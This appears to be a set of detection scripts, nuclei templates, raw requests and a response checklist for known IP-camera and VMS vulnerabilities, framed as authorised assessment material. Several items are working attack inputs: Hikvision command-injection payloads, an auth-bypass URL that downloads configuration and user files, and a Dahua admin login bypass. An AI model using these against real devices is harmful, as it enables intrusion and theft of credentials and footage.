PUT /SDK/putRemoteStorageCFG HTTP/1.1
Host: target_ip:8080
Content-Type: application/x-www-form-urlencoded

<RemoteStorageCfg version="2.0">
  <remoteStorageCfg>
    <remoteIpAddr>$(touch /tmp/pwned)</remoteIpAddr>
  </remoteStorageCfg>
</RemoteStorageCfg>

#!/usr/bin/env python3
"""
Hikvision IP Camera 命令注入检测 (CVE-2021-36260)
仅用于授权安全评估
"""

import sys
import urllib.request
import urllib.error
import ssl


def check_cve_2021_36260(target: str, port: int = 80) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    base_url = f"http://{target}:{port}"
    marker = "cve202136260check"
    payload = f"$(echo {marker} > /tmp/check.txt)"

    xml_body = (
        '<RemoteStorageCfg version="2.0">'
        "<remoteStorageCfg>"
        f"<remoteIpAddr>{payload}</remoteIpAddr>"
        "</remoteStorageCfg>"
        "</RemoteStorageCfg>"
    )

    endpoints = [
        "/SDK/putRemoteStorageCFG",
        "/SDK/putSecurityCfg",
    ]

    for endpoint in endpoints:
        url = f"{base_url}{endpoint}"
        try:
            req = urllib.request.Request(url, data=xml_body.encode(), method="PUT")
            req.add_header("Content-Type", "application/x-www-form-urlencoded")
            resp = urllib.request.urlopen(req, timeout=10, context=ctx)
            if resp.status in (200, 201):
                print(f"[+] 命令注入成功! 端点: {endpoint}")
                return True
        except urllib.error.HTTPError as e:
            if e.code in (401, 403):
                print(f"[-] {endpoint} 需要认证")
            continue
        except Exception:
            continue

    print("[-] 目标可能不受影响或已修复")
    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100 8080")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
    print(f"[*] 检测目标: {target}:{port}")
    check_cve_2021_36260(target, port)


if __name__ == "__main__":
    main()

id: CVE-2021-36260

info:
  name: Hikvision IP Camera Command Injection RCE
  author: security-research
  severity: critical
  description: |
    Hikvision IP 摄像头和 NVR 的 Web API 存在命令注入漏洞，
    攻击者无需认证即可通过 PUT 请求注入并执行操作系统命令。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-36260
    cwe-id: CWE-78
  tags: cve,cve2021,hikvision,camera,rce,command-injection,iot
  reference:
    - https://www.hikvision.com/en/support/download/security-updates/
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog

http:
  - raw:
      - |
        PUT /SDK/putRemoteStorageCFG HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        <RemoteStorageCfg version="2.0"><remoteStorageCfg><remoteIpAddr>$(id > /tmp/nuclei_test)</remoteIpAddr></remoteStorageCfg></RemoteStorageCfg>

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 201
      - type: word
        words:
          - "OK"
          - "status"
        part: body

GET /System/configurationFile?auth=YWRtaW46MTEK HTTP/1.1
Host: target_ip:80

GET /Security/users?auth=YWRtaW46MTEK HTTP/1.1
Host: target_ip:80

#!/usr/bin/env python3
"""
Hikvision 认证绕过检测 (CVE-2017-7921)
仅用于授权安全评估
"""

import sys
import urllib.request
import urllib.error
import ssl


AUTH_BYPASS_ENDPOINTS = [
    "/System/configurationFile?auth=YWRtaW46MTEK",
    "/Security/users?auth=YWRtaW46MTEK",
    "/ISAPI/Security/users",
    "/PSIA/Custom/SelfExt/userCheck",
]


def check_cve_2017_7921(target: str, port: int = 80) -> dict:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    base_url = f"http://{target}:{port}"
    result = {
        "target": target,
        "is_hikvision": False,
        "vulnerable_endpoints": [],
        "users_leaked": False,
        "config_leaked": False,
    }

    for endpoint in AUTH_BYPASS_ENDPOINTS:
        url = f"{base_url}{endpoint}"
        try:
            req = urllib.request.Request(url)
            resp = urllib.request.urlopen(req, timeout=10, context=ctx)
            body = resp.read().decode("utf-8", errors="ignore")

            if resp.status == 200 and len(body) > 0:
                result["vulnerable_endpoints"].append(endpoint)

                if "configurationFile" in endpoint:
                    result["config_leaked"] = True
                    result["is_hikvision"] = True
                if "users" in endpoint.lower():
                    result["users_leaked"] = True
                    result["is_hikvision"] = True

                print(f"[+] 漏洞端点: {endpoint}")

        except urllib.error.HTTPError as e:
            if e.code == 401:
                print(f"[-] {endpoint} 需要认证（已修复）")
        except Exception:
            continue

    return result


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
    print(f"[*] 检测目标: {target}:{port}")
    result = check_cve_2017_7921(target, port)

    print(f"\n{'='*50}")
    print(f"  Hikvision 设备: {'是' if result['is_hikvision'] else '未知'}")
    print(f"  配置文件泄露: {'是' if result['config_leaked'] else '否'}")
    print(f"  用户信息泄露: {'是' if result['users_leaked'] else '否'}")
    print(f"  漏洞端点数: {len(result['vulnerable_endpoints'])}")


if __name__ == "__main__":
    main()

id: CVE-2017-7921

info:
  name: Hikvision IP Camera Authentication Bypass
  author: security-research
  severity: critical
  description: |
    Hikvision IP 摄像头存在认证绕过漏洞，攻击者可通过硬编码凭据
    直接访问设备管理接口，获取用户信息和配置文件。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2017-7921
    cwe-id: CWE-287
  tags: cve,cve2017,hikvision,camera,auth-bypass,iot
  reference:
    - https://www.hikvision.com/en/support/download/security-updates/
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog

http:
  - method: GET
    path:
      - "{{BaseURL}}/System/configurationFile?auth=YWRtaW46MTEK"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "user"
          - "password"
        condition: and
        part: body

  - method: GET
    path:
      - "{{BaseURL}}/Security/users?auth=YWRtaW46MTEK"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "userName"
          - "user"
        condition: and
        part: body

POST /RPC2 HTTP/1.1
Host: target_ip:80
Content-Type: application/json

{
  "method": "global.login",
  "params": {
    "userName": "admin",
    "password": "Not Used",
    "clientType": "Web3.0",
    "loginType": "Direct"
  },
  "id": 10000
}

GET /Config.backup HTTP/1.1
Host: target_ip:80

#!/usr/bin/env python3
"""
Dahua IP Camera 认证绕过检测 (CVE-2021-33044 / CVE-2021-33045)
仅用于授权安全评估
"""

import sys
import json
import urllib.request
import urllib.error
import ssl


def check_cve_2021_33044(target: str, port: int = 80) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    base_url = f"http://{target}:{port}"

    login_payload = json.dumps({
        "method": "global.login",
        "params": {
            "userName": "admin",
            "password": "Not Used",
            "clientType": "Web3.0",
            "loginType": "Direct"
        },
        "id": 10000
    })

    url = f"{base_url}/RPC2"
    try:
        req = urllib.request.Request(url, data=login_payload.encode(), method="POST")
        req.add_header("Content-Type", "application/json")
        resp = urllib.request.urlopen(req, timeout=10, context=ctx)
        body = json.loads(resp.read().decode())

        if body.get("result") is True or body.get("params").get("sessionID"):
            print(f"[+] CVE-2021-33044 认证成功! 已获得管理权限")
            return True
        else:
            print(f"[-] 认证失败: {body}")
    except urllib.error.HTTPError as e:
        print(f"[-] HTTP 错误: {e.code}")
    except Exception as e:
        print(f"[-] 连接失败: {e}")

    return False


def check_cve_2021_33045(target: str, port: int = 80) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    base_url = f"http://{target}:{port}"
    url = f"{base_url}/Config.backup"

    try:
        req = urllib.request.Request(url)
        resp = urllib.request.urlopen(req, timeout=10, context=ctx)
        if resp.status == 200:
            content_length = resp.headers.get("Content-Length", "unknown")
            print(f"[+] CVE-2021-33045 配置文件泄露! 大小: {content_length} bytes")
            return True
    except urllib.error.HTTPError as e:
        if e.code == 401:
            print(f"[-] Config.backup 需要认证（已修复）")
    except Exception as e:
        print(f"[-] 连接失败: {e}")

    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        print(f"示例: {sys.argv[0]} 192.168.1.100")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
    print(f"[*] 检测目标: {target}:{port}")

    print(f"\n[*] 检测 CVE-2021-33044 (认证绕过)...")
    r1 = check_cve_2021_33044(target, port)

    print(f"\n[*] 检测 CVE-2021-33045 (配置泄露)...")
    r2 = check_cve_2021_33045(target, port)

    print(f"\n{'='*50}")
    print(f"  CVE-2021-33044: {'存在' if r1 else '不存在'}")
    print(f"  CVE-2021-33045: {'存在' if r2 else '不存在'}")


if __name__ == "__main__":
    main()

id: CVE-2021-33044

info:
  name: Dahua IP Camera Authentication Bypass
  author: security-research
  severity: critical
  description: |
    Dahua IP 摄像头 RPC2 接口存在认证绕过漏洞，
    攻击者可通过特殊 clientType 参数绕过认证获得管理权限。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-33044
    cwe-id: CWE-287
  tags: cve,cve2021,dahua,camera,auth-bypass,iot
  reference:
    - https://www.dahuasecurity.com/en_US/Cybersecurity/SecurityAdvisory

http:
  - raw:
      - |
        POST /RPC2 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method":"global.login","params":{"userName":"admin","password":"Not Used","clientType":"Web3.0","loginType":"Direct"},"id":10000}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "sessionID"
          - "result"
        condition: and
        part: body

id: CVE-2021-33045

info:
  name: Dahua IP Camera Configuration Backup Disclosure
  author: security-research
  severity: critical
  description: |
    Dahua IP 摄像头配置备份接口未正确验证请求者身份，
    攻击者可直接下载设备完整配置文件。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-33045
    cwe-id: CWE-306
  tags: cve,cve2021,dahua,camera,info-leak,iot

http:
  - method: GET
    path:
      - "{{BaseURL}}/Config.backup"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Config"
          - "backup"
        part: body

POST /onvif/device_service HTTP/1.1
Host: target_ip:80
Content-Type: application/soap+xml; charset=utf-8
Content-Length: 8192

<?xml version="1.0" encoding="UTF-8"?>
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">
  <s:Body>
    <tds:GetDeviceInformation xmlns:tds="http://www.onvif.org/ver10/device/wsdl">
      <ExtraField>AAAA...（8000+ bytes padding）</ExtraField>
    </tds:GetDeviceInformation>
  </s:Body>
</s:Envelope>

#!/usr/bin/env python3
"""
Dahua ONVIF 缓冲区溢出检测 (CVE-2025-31700)
仅用于授权安全评估，发送安全长度的探测请求
"""

import sys
import urllib.request
import urllib.error
import ssl


def check_cve_2025_31700(target: str, port: int = 80) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    base_url = f"http://{target}:{port}"

    soap_body = (
        '<?xml version="1.0" encoding="UTF-8"?>'
        '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">'
        '<s:Body>'
        '<tds:GetDeviceInformation xmlns:tds="http://www.onvif.org/ver10/device/wsdl"/>'
        '</s:Body>'
        '</s:Envelope>'
    )

    url = f"{base_url}/onvif/device_service"
    try:
        req = urllib.request.Request(url, data=soap_body.encode(), method="POST")
        req.add_header("Content-Type", "application/soap+xml; charset=utf-8")
        resp = urllib.request.urlopen(req, timeout=10, context=ctx)
        body = resp.read().decode("utf-8", errors="ignore")

        if "GetDeviceInformationResponse" in body:
            print(f"[+] ONVIF 服务响应正常，设备支持 ONVIF 协议")
            print(f"[!] 检查固件版本是否受 CVE-2025-31700 影响")
            return True
        else:
            print(f"[-] ONVIF 响应异常")
    except urllib.error.HTTPError as e:
        print(f"[-] HTTP 错误: {e.code}")
    except Exception as e:
        print(f"[-] 连接失败: {e}")

    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
    print(f"[*] 检测目标: {target}:{port}")
    check_cve_2025_31700(target, port)


if __name__ == "__main__":
    main()

id: CVE-2025-31700

info:
  name: Dahua ONVIF Stack Buffer Overflow Detection
  author: security-research
  severity: high
  description: |
    Dahua IP 摄像头 ONVIF 协议实现存在栈缓冲区溢出，
    攻击者无需认证即可通过特制 SOAP 请求实现远程代码执行。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2025-31700
    cwe-id: CWE-120
  tags: cve,cve2025,dahua,camera,rce,onvif,buffer-overflow,iot

http:
  - raw:
      - |
        POST /onvif/device_service HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/soap+xml; charset=utf-8

        <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Body><tds:GetDeviceInformation xmlns:tds="http://www.onvif.org/ver10/device/wsdl"/></s:Body></s:Envelope>

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "GetDeviceInformationResponse"
          - "Manufacturer"
        condition: and
        part: body

POST /axis-cgi/remoting HTTP/1.1
Host: target_ip:80
Content-Type: application/octet-stream

<BinaryFormatter payload - 需使用 ysoserial.net 生成>

#!/usr/bin/env python3
"""
Axis.Remoting 反序列化 RCE 检测 (CVE-2025-30023)
仅用于授权安全评估
"""

import sys
import socket
import struct


def check_cve_2025_30023(target: str, port: int = 4111) -> bool:
    AXIS_REMOTING_PORTS = [4111, 80, 443]

    for p in AXIS_REMOTING_PORTS:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(5)
            result = sock.connect_ex((target, p))
            if result == 0:
                print(f"[+] 端口 {p} 开放")
                if p == 4111:
                    print(f"[!] Axis.Remoting 默认端口 4111 开放")
                    print(f"[!] 目标可能受 CVE-2025-30023 影响")
                    sock.close()
                    return True
            sock.close()
        except Exception:
            continue

    print("[-] 未发现 Axis.Remoting 服务")
    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 4111
    print(f"[*] 检测目标: {target}:{port}")
    check_cve_2025_30023(target, port)


if __name__ == "__main__":
    main()

id: CVE-2025-30023

info:
  name: Axis.Remoting .NET Deserialization RCE Detection
  author: security-research
  severity: critical
  description: |
    Axis.Remoting 组件使用不安全的 BinaryFormatter 反序列化，
    攻击者无需认证即可通过特制序列化数据实现远程代码执行。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.0
    cve-id: CVE-2025-30023
    cwe-id: CWE-502
  tags: cve,cve2025,axis,camera,rce,deserialization,dotnet,iot
  reference:
    - https://www.axis.com/us-en/support/cybersecurity/security-advisories

tcp:
  - inputs:
      - data: "\x00\x01\x00\x00"
    host:
      - "{{Hostname}}"
    port: 4111
    matchers:
      - type: dsl
        dsl:
          - "success == true"

POST /managementapi HTTP/1.1
Host: target_ip:80
Content-Type: application/octet-stream

<BinaryFormatter payload>

#!/usr/bin/env python3
"""
Milestone XProtect 反序列化 RCE 检测 (CVE-2018-7891)
仅用于授权安全评估
"""

import sys
import socket


def check_cve_2018_7891(target: str, port: int = 80) -> bool:
    MILESTONE_PORTS = [80, 443, 8081, 8082]

    for p in MILESTONE_PORTS:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(5)
            result = sock.connect_ex((target, p))
            if result == 0:
                print(f"[+] 端口 {p} 开放")
            sock.close()
        except Exception:
            continue

    print(f"[*] 请确认目标是否运行 Milestone XProtect")
    print(f"[*] 检查端口 8081/8082 是否开放（XProtect 管理端口）")
    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip>")
        sys.exit(1)

    target = sys.argv[1]
    print(f"[*] 检测目标: {target}")
    check_cve_2018_7891(target)


if __name__ == "__main__":
    main()

id: CVE-2018-7891

info:
  name: Milestone XProtect .NET Deserialization RCE Detection
  author: security-research
  severity: high
  description: |
    Milestone XProtect VMS 使用不安全的 BinaryFormatter 反序列化，
    攻击者无需认证即可通过特制序列化数据实现远程代码执行。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2018-7891
    cwe-id: CWE-502
  tags: cve,cve2018,milestone,xprotect,rce,deserialization,vms

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
      - "{{BaseURL}}/managementapi"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Milestone"
          - "XProtect"
        condition: or
        part: body

#!/usr/bin/env python3
"""
Milestone XProtect 硬编码密钥检测 (CVE-2021-27392)
仅用于授权安全评估
"""

import sys
import base64


HARDCODED_KEY_B64 = "..."


def check_cve_2021_27392() -> None:
    print("[*] CVE-2021-27392 需要数据库访问权限验证")
    print("[*] 检查步骤:")
    print("    1. 确认目标运行 Milestone XProtect")
    print("    2. 获取 SQL Server 数据库访问权限")
    print("    3. 使用硬编码密钥解密用户凭据表")
    print("[!] 硬编码密钥已在安全公告中公开")


def main():
    check_cve_2021_27392()


if __name__ == "__main__":
    main()

id: CVE-2021-27392

info:
  name: Milestone XProtect Hardcoded Encryption Key Detection
  author: security-research
  severity: critical
  description: |
    Milestone XProtect 使用硬编码的 AES 加密密钥保护敏感数据，
    攻击者可解密数据库中存储的用户凭据。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2021-27392
    cwe-id: CWE-798
  tags: cve,cve2021,milestone,xprotect,hardcoded-key,crypto

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Milestone"
          - "XProtect"
        condition: or
        part: body

GET /api/v1/alpr/plates HTTP/1.1
Host: target_ip:8080
X-Override-Auth: bypass

#!/usr/bin/env python3
"""
Genetec ALPR Manager 认证绕过检测 (CVE-2025-43027)
仅用于授权安全评估
"""

import sys
import urllib.request
import urllib.error
import ssl


def check_cve_2025_43027(target: str, port: int = 8080) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    base_url = f"http://{target}:{port}"

    endpoints = [
        "/api/v1/alpr/plates",
        "/api/v1/system/status",
    ]

    for endpoint in endpoints:
        url = f"{base_url}{endpoint}"
        try:
            req = urllib.request.Request(url)
            req.add_header("X-Override-Auth", "bypass")
            resp = urllib.request.urlopen(req, timeout=10, context=ctx)
            if resp.status == 200:
                print(f"[+] 认证绕过成功: {endpoint}")
                return True
        except urllib.error.HTTPError as e:
            if e.code == 401:
                print(f"[-] {endpoint} 需要认证（已修复）")
        except Exception:
            continue

    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 8080
    print(f"[*] 检测目标: {target}:{port}")
    check_cve_2025_43027(target, port)


if __name__ == "__main__":
    main()

id: CVE-2025-43027

info:
  name: Genetec ALPR Manager Authentication Bypass
  author: security-research
  severity: critical
  description: |
    Genetec ALPR Manager 存在认证绕过漏洞，
    攻击者无需认证即可访问车牌识别数据和管理功能。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-43027
    cwe-id: CWE-287
  tags: cve,cve2025,genetec,alpr,auth-bypass,vms

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/alpr/plates"
    headers:
      X-Override-Auth: bypass
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "plate"
          - "alpr"
        condition: and
        part: body

GET /api/v1/system/info HTTP/1.1
Host: target_ip:80
Authorization: Basic Og==

#!/usr/bin/env python3
"""
宇视 IP Camera 认证失败检测 (CVE-2023-0773)
仅用于授权安全评估
"""

import sys
import urllib.request
import urllib.error
import ssl
import base64


def check_cve_2023_0773(target: str, port: int = 80) -> bool:
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    base_url = f"http://{target}:{port}"

    endpoints = [
        "/api/v1/system/info",
        "/api/v1/users",
    ]

    fake_auth = base64.b64encode(b":").decode()

    for endpoint in endpoints:
        url = f"{base_url}{endpoint}"
        try:
            req = urllib.request.Request(url)
            req.add_header("Authorization", f"Basic {fake_auth}")
            resp = urllib.request.urlopen(req, timeout=10, context=ctx)
            if resp.status == 200:
                print(f"[+] 认证绕过成功: {endpoint}")
                return True
        except urllib.error.HTTPError as e:
            if e.code == 401:
                print(f"[-] {endpoint} 需要认证（已修复）")
        except Exception:
            continue

    return False


def main():
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <target_ip> [port]")
        sys.exit(1)

    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 80
    print(f"[*] 检测目标: {target}:{port}")
    check_cve_2023_0773(target, port)


if __name__ == "__main__":
    main()

id: CVE-2023-0773

info:
  name: Uniview IP Camera Authentication Failure
  author: security-research
  severity: critical
  description: |
    宇视 IP 摄像机存在认证失败漏洞，
    攻击者无需有效凭据即可访问设备管理接口。
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.1
    cve-id: CVE-2023-0773
    cwe-id: CWE-287
  tags: cve,cve2023,uniview,camera,auth-bypass,iot

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/system/info"
    headers:
      Authorization: "Basic Og=="
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "system"
          - "info"
        condition: and
        part: body

nmap -sV -p 80,443,8080,8081,8082,4111 <target_ip>

curl -X PUT http://<camera_ip>:8080/SDK/putRemoteStorageCFG \
  -d '<RemoteStorageCfg version="2.0"><remoteStorageCfg><remoteIpAddr>$(id)</remoteIpAddr></remoteStorageCfg></RemoteStorageCfg>'

curl http://<camera_ip>/System/configurationFile?auth=YWRtaW46MTEK -o config_backup.bin

curl -X POST http://<camera_ip>/RPC2 \
  -H "Content-Type: application/json" \
  -d '{"method":"global.login","params":{"userName":"admin","password":"Not Used","clientType":"Web3.0","loginType":"Direct"},"id":10000}'

# 1. 确认视频监控设备资产清单
nmap -sV -p 80,443,8080,8081,8082,4111,554 <subnet> -oG camera_scan.txt

# 2. 检查 Hikvision 认证绕过
curl -s http://<camera_ip>/System/configurationFile?auth=YWRtaW46MTEK -o /dev/null -w "%{http_code}"

# 3. 检查 Dahua 认证绕过
curl -s -X POST http://<camera_ip>/RPC2 -H "Content-Type: application/json" \
  -d '{"method":"global.login","params":{"userName":"admin","password":"Not Used","clientType":"Web3.0","loginType":"Direct"},"id":10000}'

# 4. 检查 Hikvision 命令注入
curl -s -X PUT http://<camera_ip>:8080/SDK/putRemoteStorageCFG \
  -d '<RemoteStorageCfg version="2.0"><remoteStorageCfg><remoteIpAddr>$(id)</remoteIpAddr></remoteStorageCfg></RemoteStorageCfg>'

# 5. 检查摄像头网络流量
tcpdump -i any host <camera_ip> -w camera_traffic.pcap

# 6. 检查异常外联连接
tcpdump -i any host <camera_ip> and not net <local_subnet> -w exfil_check.pcap

# 7. 检查 ONVIF 服务
curl -s -X POST http://<camera_ip>/onvif/device_service \
  -H "Content-Type: application/soap+xml" \
  -d '<?xml version="1.0"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Body><tds:GetDeviceInformation xmlns:tds="http://www.onvif.org/ver10/device/wsdl"/></s:Body></s:Envelope>'

# 8. 检查 Axis.Remoting 端口
nmap -sV -p 4111 <target_ip>

# 9. 导出摄像头系统日志
curl -s http://<camera_ip>/ISAPI/System/logs -o camera_logs.xml

# 10. 检查管理员账户变更
curl -s http://<camera_ip>/ISAPI/Security/users -o users.xml

# 11. 检查视频流访问记录
curl -s http://<camera_ip>/ISAPI/ContentMgmt/StreamingProxy/channels -o streaming.xml

# 12. 检查网络配置变更
curl -s http://<camera_ip>/ISAPI/System/Network/interfaces -o network.xml